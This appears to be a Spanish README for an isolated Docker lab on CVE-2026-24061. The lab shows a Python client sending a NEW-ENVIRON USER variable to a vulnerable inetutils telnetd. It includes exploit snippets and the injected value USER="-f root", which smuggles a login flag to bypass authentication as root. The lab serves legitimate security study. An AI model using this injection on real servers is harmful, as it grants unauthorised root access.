
# Laboratorio educativo de Docker que demuestra la inyección de nombre de usuario NEW-ENVIRON de Telnet (CVE-2026-24061) con un cliente Python y un servidor vulnerable para investigación de seguridad aislada.
Un laboratorio Docker ligero para experimentar con la negociación del protocolo Telnet, explicado en el exploit CVE-2026-24061, que contiene inyección automática de nombre de usuario mediante la opción NEW-ENVIRON.
Este proyecto crea un entorno cliente-servidor aislado para estudiar cómo Telnet maneja la omisión de autenticación basada en variables de entorno.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Cliente | | Telnet |
| Python | | Servidor|
+---------+ +---------+
| Contenedor | Rol |
|---|---|
| node1 | Cliente Python con script de auto-login |
| node2 | Servidor Telnet (inetutils-telnetd 2.7) |
Ambos servicios se ejecutan dentro de una red privada de puente Docker, llamada labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
Este archivo es responsable de la instalación del contenedor cliente, llamado node1.
Elegí python:3.12-slim como imagen base, ya que el propósito de este laboratorio es únicamente la comunicación de red. Solo instalamos el cliente telnet y copiamos exploit.py a la carpeta raíz del contenedor.
Este archivo es responsable de la instalación del contenedor servidor, llamado node2.
La misma imagen base se aplica también para este contenedor. Sin embargo, el proceso de instalación implica más pasos:
wget, para obtener la versión vulnerable de telnetd.apt get install -y/etc/inetd.conf habilita el servicio telnet.En la parte superior del archivo, vemos algunas constantes declaradas:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC, con el valor de 255, significa Interpret As Command (Interpretar como Comando), por lo que marca el inicio de la secuencia de control de Telnet.
Puedes inspeccionar más opciones aquí
El formato generalmente se ve así:
IAC <comando> <opción>
En el script, existe la siguiente parte:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
Este if verifica que, si los datos recibidos actualmente del servidor contienen el valor IAC, necesitamos interpretarlos como un comando.
Recorremos los datos recibidos usando un bucle while. Verificamos cada byte para ver si es un IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
Si lo es, asignamos a las variables cmd y opt el byte correspondiente del flujo de datos.
Si el valor de opt es igual al valor de NEW_ENVIRON, el script ejecuta el método send_new_environ_user.
Examinemos la siguiente parte del código:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB y SE son parte de las constantes del protocolo Telnet. SB significa 'Subnegotiation begin' (Inicio de subnegociación), mientras que SE significa 'Subnegotiation end' (Fin de subnegociación). Todo lo que se encuentra entre estos dos valores son configuraciones relacionadas con un comando específico, enviadas al servidor. En este caso, queremos enviar un mensaje usando el estándar rfc1572, en detalle aquí.
Podemos traducir libremente la secuencia de bytes al español, como:
- Interpretar esto como un comando (IAC)
- Es (0)
- Una nueva variable de entorno (NEW_ENVIRON)
- El valor de esta nueva variable de entorno es (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Finalizar la subconexión (IAC + SE)
Sin embargo, hay casos en los que el servidor Telnet objetivo no admite variables de entorno relacionadas con nombres de usuario. En este caso, recurrimos a enviar el nombre de usuario de la forma tradicional.
Verificar la instalación:
docker --version
docker compose version
docker compose up --build -d
Verificar el estado:
docker ps
Deberías ver:
node1node2docker exec -it node1 bash
Establecer un nombre de usuario y ejecutar el script:
USER="-f root" python exploit.py node2
El script:
node2 en el puerto 23USER=-f root usando NEW-ENVIRONlabnet| Nombre de host | Servicio |
|---|---|
| node1 | Cliente |
| node2 | Servidor Telnet |
El script cliente:
IAC, DO, WILL, que son comandos fundamentales del protocolo Telnet utilizados para la negociación de opciones entre un cliente y un servidor.NEW-ENVIRONUSER=<valor de $USER>
login: o username: como alternativaDetener el entorno:
docker compose down
Si también deseas eliminar contenedores e imágenes:
docker compose down --rmi all
Telnet transmite datos en texto plano y no es seguro. Este proyecto está destinado solo con fines educativos, dentro de entornos aislados.
Conexión rechazada
Asegúrate de que los contenedores estén en ejecución:
docker ps
El script sale con error de USER
USER="-f root" python exploit.py node2
Reconstruir después de cambios
docker compose up --build
Este repositorio se proporciona para uso educativo y de investigación. Las contribuciones y mejoras son bienvenidas.